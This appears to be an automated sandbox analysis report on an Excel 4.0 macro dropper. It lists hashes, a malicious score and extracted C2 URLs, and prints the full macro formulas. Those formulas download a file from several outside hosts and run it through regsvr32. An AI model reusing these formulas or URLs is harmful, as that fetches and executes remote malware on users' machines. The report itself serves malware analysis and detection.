General

  • Target

    068d1d0328b550ab250ca4e41d8f9dec2568bbee8b9d3e6e6199225b66248d77

  • Size

    40KB

  • Sample

    241111-w3ldxatckp

  • MD5

    2413efff977c4ac9b9bb320439a06dfa

  • SHA1

    4570acfcc17b180b81e94ef9db2ee0e7632233aa

  • SHA256

    068d1d0328b550ab250ca4e41d8f9dec2568bbee8b9d3e6e6199225b66248d77

  • SHA512

    145e27b9d03f37d744e2fb300e6ac262c51e83ae1f5cfafc5cd4d4b7d3a3116798f85204d24973b7aaff510a8c5766f1bbb229972ff4f83953095049f552b98a

  • SSDEEP

    768:Rqhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Udom4DJwylND59V4jwmXc2CVf5Z

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

http://techplanbd.xyz/qel424/RSz4/

http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/

https://deine-bewerbung.com/wp-content/TKXpk/

https://livejagat.com/h/L37tCM6ppS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

xlm40.dropper

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

xlm40.dropper

http://techplanbd.xyz/qel424/RSz4/

Targets

    • Target

      068d1d0328b550ab250ca4e41d8f9dec2568bbee8b9d3e6e6199225b66248d77

    • Size

      40KB

    • MD5

      2413efff977c4ac9b9bb320439a06dfa

    • SHA1

      4570acfcc17b180b81e94ef9db2ee0e7632233aa

    • SHA256

      068d1d0328b550ab250ca4e41d8f9dec2568bbee8b9d3e6e6199225b66248d77

    • SHA512

      145e27b9d03f37d744e2fb300e6ac262c51e83ae1f5cfafc5cd4d4b7d3a3116798f85204d24973b7aaff510a8c5766f1bbb229972ff4f83953095049f552b98a

    • SSDEEP

      768:Rqhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Udom4DJwylND59V4jwmXc2CVf5Z

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks